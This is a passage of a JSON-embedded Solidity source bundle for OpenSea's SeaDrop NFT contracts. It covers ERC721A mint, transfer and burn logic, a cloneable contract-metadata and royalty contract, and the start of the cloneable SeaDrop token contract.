// Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // We can directly increment and decrement the balances.\n --_packedAddressData[from]; // Updates: `balance -= 1`.\n ++_packedAddressData[to]; // Updates: `balance += 1`.\n\n // Updates:\n // - `address` to the next owner.\n // - `startTimestamp` to the timestamp of transfering.\n // - `burned` to `false`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n transferFrom(from, to, tokenId);\n if (to.code.length != 0) {\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n }\n\n /**\n * @dev Hook that is called before a set of serially-ordered token IDs\n * are about to be transferred. This includes minting.\n * And also called before burning one token.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after a set of serially-ordered token IDs\n * have been transferred. This includes minting.\n * And also called after one token has been burned.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been\n * transferred to `to`.\n * - When `from` is zero, `tokenId` has been minted for `to`.\n * - When `to` is zero, `tokenId` has been burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.\n *\n * `from` - Previous owner of the given token ID.\n * `to` - Target address that will receive the token.\n * `tokenId` - Token ID to be transferred.\n * `_data` - Optional data to send along with the call.\n *\n * Returns whether the call correctly returned the expected magic value.\n */\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n // =============================================================\n // MINT OPERATIONS\n // =============================================================\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // `balance` and `numberMinted` have a maximum limit of 2**64.\n // `tokenId` has a maximum limit of 2**256.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 toMasked;\n uint256 end = startTokenId + quantity;\n\n // Use assembly to loop and emit the `Transfer` event for gas savings.\n // The duplicated `log4` removes an extra check and reduces stack juggling.\n // The assembly, together with the surrounding Solidity code, have been\n // delicately arranged to nudge the compiler into producing optimized opcodes.\n assembly {\n // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.\n toMasked := and(to, _BITMASK_ADDRESS)\n // Emit the `Transfer` event.\n log4(\n 0, // Start of data (0, since no data).\n 0, // End of data (0, since no data).\n _TRANSFER_EVENT_SIGNATURE, // Signature.\n 0, // `address(0)`.\n toMasked, // `to`.\n startTokenId // `tokenId`.\n )\n\n // The `iszero(eq(,))` check ensures that large values of `quantity`\n // that overflows uint256 will make the loop run out of gas.\n // The compiler will optimize the `iszero` away for performance.\n for {\n let tokenId := add(startTokenId, 1)\n } iszero(eq(tokenId, end)) {\n tokenId := add(tokenId, 1)\n } {\n // Emit the `Transfer` event. Similar to above.\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n }\n if (toMasked == 0) revert MintToZeroAddress();\n\n _currentIndex = end;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * This function is intended for efficient minting only during contract creation.\n *\n * It emits only one {ConsecutiveTransfer} as defined in\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),\n * instead of a sequence of {Transfer} event(s).\n *\n * Calling this function outside of contract creation WILL make your contract\n * non-compliant with the ERC721 standard.\n * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309\n * {ConsecutiveTransfer} event is only permissible during contract creation.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {ConsecutiveTransfer} event.\n */\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are unrealistic due to the above check for `quantity` to be below the limit.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Safely mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.\n * - `quantity` must be greater than 0.\n *\n * See {_mint}.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n uint256 index = end - quantity;\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n // Reentrancy protection.\n if (_currentIndex != end) revert();\n }\n }\n }\n\n /**\n * @dev Equivalent to `_safeMint(to, quantity, '')`.\n */\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n // =============================================================\n // BURN OPERATIONS\n // =============================================================\n\n /**\n * @dev Equivalent to `_burn(tokenId, false)`.\n */\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // Updates:\n // - `balance -= 1`.\n // - `numberBurned += 1`.\n //\n // We can directly decrement the balance, and increment the number burned.\n // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.\n _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;\n\n // Updates:\n // - `address` to the last owner.\n // - `startTimestamp` to the timestamp of burning.\n // - `burned` to `true`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.\n unchecked {\n _burnCounter++;\n }\n }\n\n // =============================================================\n // EXTRA DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Directly sets the extra data for the ownership data `index`.\n */\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = _packedOwnerships[index];\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n uint256 extraDataCasted;\n // Cast `extraData` with assembly to avoid redundant masking.\n assembly {\n extraDataCasted := extraData\n }\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n _packedOwnerships[index] = packed;\n }\n\n /**\n * @dev Called during each token transfer to set the 24bit `extraData` field.\n * Intended to be overridden by the cosumer contract.\n *\n * `previousExtraData` - the value of `extraData` before transfer.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n /**\n * @dev Returns the next extra data for the packed ownership data.\n * The returned result is shifted into position.\n */\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n // =============================================================\n // OTHER OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the message sender (defaults to `msg.sender`).\n *\n * If you are writing GSN compatible contracts, you need to override this function.\n */\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n /**\n * @dev Converts a uint256 to its ASCII string decimal representation.\n */\n function _toString(uint256 value)\n internal\n pure\n virtual\n returns (string memory str)\n {\n assembly {\n // The maximum value of a uint256 contains 78 digits (1 byte per digit), but\n // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.\n // We will need 1 word for the trailing zeros padding, 1 word for the length,\n // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.\n let m := add(mload(0x40), 0xa0)\n // Update the free memory pointer to allocate.\n mstore(0x40, m)\n // Assign the `str` to the end.\n str := sub(m, 0x20)\n // Zeroize the slot after the string.\n mstore(str, 0)\n\n // Cache the end of the memory to calculate the length later.\n let end := str\n\n // We write the string from rightmost digit to leftmost digit.\n // The following is essentially a do-while loop that also handles the zero case.\n // prettier-ignore\n for { let temp := value } 1 {} {\n str := sub(str, 1)\n // Write the character to the pointer.\n // The ASCII index of the '0' character is 48.\n mstore8(str, add(48, mod(temp, 10)))\n // Keep dividing `temp` until zero.\n temp := div(temp, 10)\n // prettier-ignore\n if iszero(temp) { break }\n }\n\n let length := sub(end, str)\n // Move the pointer 32 bytes leftwards to make room for the length.\n str := sub(str, 0x20)\n // Store the length.\n mstore(str, length)\n }\n }\n}\n"
},
"src/clones/ERC721ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"../interfaces/ISeaDropTokenContractMetadata.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport { TwoStepOwnable } from \"utility-contracts/TwoStepOwnable.sol\";\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC721ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721ContractMetadata is a token contract that extends ERC721A\n * with additional metadata and ownership capabilities.\n */\ncontract ERC721ContractMetadataCloneable is\n ERC721ACloneable,\n TwoStepOwnable,\n ISeaDropTokenContractMetadata\n{\n /// @notice Track the max supply.\n uint256 _maxSupply;\n\n /// @notice Track the base URI for token metadata.\n string _tokenBaseURI;\n\n /// @notice Track the contract URI for contract metadata.\n string _contractURI;\n\n /// @notice Track the provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 _provenanceHash;\n\n /// @notice Track the royalty info: address to receive royalties, and\n /// royalty basis points.\n RoyaltyInfo _royaltyInfo;\n\n /**\n * @dev Reverts if the sender is not the owner or the contract itself.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n */\n function _onlyOwnerOrSelf() internal view {\n if (\n _cast(msg.sender == owner()) | _cast(msg.sender == address(this)) ==\n 0\n ) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new base URI.\n _tokenBaseURI = newBaseURI;\n\n // Emit an event with the update.\n if (totalSupply() != 0) {\n emit BatchMetadataUpdate(1, _nextTokenId() - 1);\n }\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId)\n external\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the max supply does not exceed the maximum value of uint64.\n if (newMaxSupply > 2**64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _maxSupply = newMaxSupply;\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if any items have been minted.\n if (_totalMinted() > 0) {\n revert ProvenanceHashCannotBeSetAfterMintStarted();\n }\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if the new royalty address is the zero address.\n if (newInfo.royaltyAddress == address(0)) {\n revert RoyaltyAddressCannotBeZeroAddress();\n }\n\n // Revert if the new basis points is greater than 10_000.\n if (newInfo.royaltyBps > 10_000) {\n revert InvalidRoyaltyBasisPoints(newInfo.royaltyBps);\n }\n\n // Set the new royalty info.\n _royaltyInfo = newInfo;\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(newInfo.royaltyAddress, newInfo.royaltyBps);\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI();\n }\n\n /**\n * @notice Returns the base URI for the contract, which ERC721A uses\n * to return tokenURI.\n */\n function _baseURI() internal view virtual override returns (string memory) {\n return _tokenBaseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() public view returns (uint256) {\n return _maxSupply;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address) {\n return _royaltyInfo.royaltyAddress;\n }\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256) {\n return _royaltyInfo.royaltyBps;\n }\n\n /**\n * @notice Called with the sale price to determine how much royalty\n * is owed and to whom.\n *\n * @ param _tokenId The NFT asset queried for royalty information.\n * @param _salePrice The sale price of the NFT asset specified by\n * _tokenId.\n *\n * @return receiver Address of who should be sent the royalty payment.\n * @return royaltyAmount The royalty payment amount for _salePrice.\n */\n function royaltyInfo(\n uint256,\n /* _tokenId */\n uint256 _salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n // Put the royalty info on the stack for more efficient access.\n RoyaltyInfo storage info = _royaltyInfo;\n\n // Set the royalty amount to the sale price times the royalty basis\n // points divided by 10_000.\n royaltyAmount = (_salePrice * info.royaltyBps) / 10_000;\n\n // Set the receiver of the royalty.\n receiver = info.royaltyAddress;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ACloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal pure function to cast a `bool` value to a `uint256` value.\n *\n * @param b The `bool` value to cast.\n *\n * @return u The `uint256` value.\n */\n function _cast(bool b) internal pure returns (uint256 u) {\n assembly {\n u := b\n }\n }\n}\n"
},
"src/clones/ERC721SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ERC721ContractMetadataCloneable,\n ISeaDropTokenContractMetadata\n} from \"./ERC721ContractMetadataCloneable.sol\";\n\nimport {\n INonFungibleSeaDropToken\n} from \"../interfaces/INonFungibleSeaDropToken.sol\";\n\nimport { ISeaDrop } from \"../interfaces/ISeaDrop.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC721SeaDropStructsErrorsAndEvents\n} from \"../lib/ERC721SeaDropStructsErrorsAndEvents.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport {\n ReentrancyGuardUpgradeable\n} from \"openzeppelin-contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\nimport {\n DefaultOperatorFiltererUpgradeable\n} from \"operator-filter-registry/upgradeable/DefaultOperatorFiltererUpgradeable.sol\";\n\n/**\n * @title ERC721SeaDrop\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721SeaDrop is a token contract that contains methods\n * to properly interact with SeaDrop.\n */\ncontract ERC721SeaDropCloneable is\n ERC721ContractMetadataCloneable,\n INonFungibleSeaDropToken,\n ERC721SeaDropStructsErrorsAndEvents,\n ReentrancyGuardUpgradeable,\n DefaultOperatorFiltererUpgradeable\n{\n /// @notice Track the allowed SeaDrop addresses.\n mapping(address => bool) internal _allowedSeaDrop;\n\n /// @notice Track the enumerated allowed SeaDrop addresses.\n address[] internal _enumeratedAllowedSeaDrop;\n\n /**\n * @dev Reverts if not an allowed SeaDrop contract.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n *\n * @param seaDrop The SeaDrop address to check if allowed.\n */\n function _onlyAllowedSeaDrop(address seaDrop) internal view {\n if (_allowedSeaDrop[seaDrop] != true) {\n revert OnlyAllowedSeaDrop();\n }\n }\n\n /**\n * @notice Deploy the token contract with its name, symbol,\n * and allowed SeaDrop addresses.\n */\n function initialize(\n string calldata __name,\n string calldata __symbol,\n address[] calldata allowedSeaDrop,\n address initialOwner\n ) public initializer {\n __ERC721ACloneable__init(__name, __symbol);\n __ReentrancyGuard_init();\n __DefaultOperatorFilterer_init();\n _updateAllowedSeaDrop(allowedSeaDrop);\n _transferOwnership(initialOwner);\n emit SeaDropTokenDeployed();\n }\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop)\n external\n virtual\n override\n onlyOwner\n {\n _updateAllowedSeaDrop(allowedSeaDrop);\n }\n\n /**\n * @notice Internal function to update the allowed SeaDrop contracts.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function _updateAllowedSeaDrop(address[] calldata allowedSeaDrop) internal {\n // Put the length on the stack for more efficient access.\n uint256 enumeratedAllowedSeaDropLength = _enumeratedAllowedSeaDrop\n .length;\n uint256 allowedSeaDropLength = allowedSeaDrop.length;\n\n // Reset the old mapping.\n for (uint256 i = 0; i < enumeratedAllowedSeaDropLength; ) {\n _allowedSeaDrop[_enumeratedAllowedSeaDrop[i]] = false;\n unchecked {\n ++i;\n }\n }\n\n // Set the new mapping for allowed SeaDrop contracts.\n for (uint256 i = 0; i < allowedSeaDropLength; ) {\n _allowedSeaDrop[allowedSeaDrop[i]] = true;\n unchecked {\n ++i;\n }\n }\n\n // Set the enumeration.\n _enumeratedAllowedSeaDrop = allowedSeaDrop;\n\n // Emit an event for the update.\n emit AllowedSeaDropUpdated(allowedSeaDrop);\n }\n\n /**\n * @dev Overrides the `_startTokenId` function from ERC721A\n * to start at token id `1`.\n *\n * This is to avoid future possible problems since `0` is usually\n * used to signal values that have not been set or have been removed.\n */\n function _startTokenId() internal view virtual override returns (uint256) {\n return 1;\n }\n\n /**\n * @dev Overrides the `tokenURI()` function from ERC721A\n * to return just the base URI if it is implied to not be a directory.\n *\n * This is to help with ERC721 contracts in which the same token URI\n * is desired for each token, such as when the tokenURI is 'unrevealed'.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n // Exit early if the baseURI is empty.\n if (bytes(baseURI).length == 0) {\n return \"\";\n }\n\n // Check if the last character in baseURI is a slash.\n if (bytes(baseURI)[bytes(baseURI).length - 1] != bytes(\"/\")[0]) {\n return baseURI;\n }\n\n return string(abi.encodePacked(baseURI, _toString(tokenId)));\n }\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * ERC721A tracks these values automatically, but this note and\n * nonReentrant modifier are left here to encourage best-practices\n * when referencing this contract.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity)\n external\n virtual\n override\n nonReentrant\n {\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(msg.sender);\n\n // Extra safety check to ensure the max supply is not exceeded.\n if (_totalMinted() + quantity > maxSupply()) {\n revert MintQuantityExceedsMaxSupply(\n _totalMinted() + quantity,\n maxSupply()\n );\n }\n\n // Mint the quantity of tokens to the minter.\n _safeMint(minter, quantity);\n }\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the public drop data on SeaDrop.\n ISeaDrop(seaDropImpl).updatePublicDrop(publicDrop);\n }\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allow list on SeaDrop.\n ISeaDrop(seaDropImpl).updateAllowList(allowListData);\n }\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param 